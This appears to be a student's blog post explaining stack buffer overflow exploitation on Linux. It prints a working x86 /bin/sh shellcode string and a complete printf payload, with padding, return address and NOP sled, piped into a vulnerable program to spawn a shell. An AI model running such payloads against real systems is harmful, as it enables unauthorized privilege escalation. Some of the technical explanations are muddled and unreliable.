The Tales Of Buffer Overflow! Attack

Hello everyone! :)
Hope you peepz are having good time!

Well, this post of mine will be slightly a bit more technical, but anyways, do not cease reading the post at the moment if you aren't interested in technical stuff! :P

Who knows, what sounded interesting to me, might even be the same to you! :)
So, read on!

Let me just feed the main reason which made me start from reading one book, and then consistently moving on with other books of same sort!

I started with a basic book titled "Buffer Overflow (BoF)Attacks" , and that is when I came to understand the importance of Assembly language and then started reading some e-book at parallel on "Assembly Programming."

Not everything though, but the better understanding of BoF required me to have the info of atleast few opcodes, and directives like "x90", which is the instruction for the No Operation (NOP) code , ASCII conversions like "x41 - A", registers like "$esp", "$eip", "$ebp" , return addresses, and all related stuff!

By learning to deduce the return address of the program in the assembly language, I then was required to have knowledge about debugging the program to work out with the "fuzzing" technique.

-------------------------------------------------------------------------------
* Compiler used: GCC
* Disassembler used: GDB (GNU's Debugger)
---------------------------------------------------------------------------------
Now, fuzzing is something like that of application testing, where a tester passes different parameters to a program and checks if the program can get us the output which was not actually in the scope of its usage.

Probably, by fuzzing we generally check if the program has any BoF vulnerability which we can exploit later.

Now, after finding out the BoF vulnerability, next was to exploit that program for the output we desire.
Generally, we just exploit this for privilege escalation, which means that a guest/limited user account gains administrative privileges!

In linux, we may term it as ROOT privileges.


Coming back to the subject, the point is that for generating the exploit code for shell access, which we can say "Shell code", we need to just change the "return address" of the vulnerable program to that of a rootshell.
Gone blank? :P
No worries, I will provide an example of shell code address.

Its something like

"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42".

Suppose the address of root shell is as above, the concept of buffer overflow is as simple as changing the return address to that of shell code, and then execute the program.

Format:

itsmeRiF@MAAK:~/Desktop/testbof$ printf "\\\" | ./vulnerableProgram

Example:

itsmeRiF@MAAK:~/Desktop/testbof$ printf "123456789abc\x48\xbc\xff\xbf\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42" | ./vulnerableProgram


Output:
itsmeRiF@MAAK:~/Desktop/testbof$
123456789abc�����������������������������//bin/sh

sh-2.04$
sh-2.04$
sh-2.04$
sh-2.04$ echo Every elite was once a n00b! Yes.. I am root!
Every elite was once a n00b! Yes.. I am root!
sh-2.04$



Now, as you can see above, lets presume that our vulnerable program accepts 12 bytes of character data before crashing, or say overflowing data.
Here, I have used "123456789abc" as the accepted string of characters.

Then, I just make the program point to the return address which is written in the little endian order.
Now, this means that the Least Significant Bit/Byte (LSB) (here, its byte) is written first with a prefix "x" and a suffix "\".

Then, after reaching the return address, I need to provide few NOP slides, so that the pointer doesn't move to any unknown address.
Practically, we need to provide so many NOP slides.
In the above example, I have managed with just 10 NOPs.
The NOPs tell the program to perform No Operation, by doing which we can have control over the address.
After the NOP slides, we inject the shell code, again in the little endian order.

Thats it!
We just execute this command / parameters in the vulnerable program, and whoa..we will be provided with a shell with root privileges!


This exploit which I have just shown, comes under the category "local" of type "Privilege escalation."

This means, if a guest user or an under-privileged / limited access user can execute this code, he will be promoted to an administrative level.


Well, I don't think so that this could be any simpler from my side, but anyways ...Rome was not built in a day! ;)

So, if you understand this concept, its well and good.. and in case if you don't, please have another few reads, and practicals! :)
Else leave a comment! :)


Uhm, thats all for now, will write soon, hopefully!
Until then, take care! :-)

Regards,
Arif (itsmeRiF)

About Author:
Arif Ali Khan,a B.Tech Final Year Student Computer Science Engineering.
Interested in ethical hacking, and network security and working on wireless cracking as part of his project.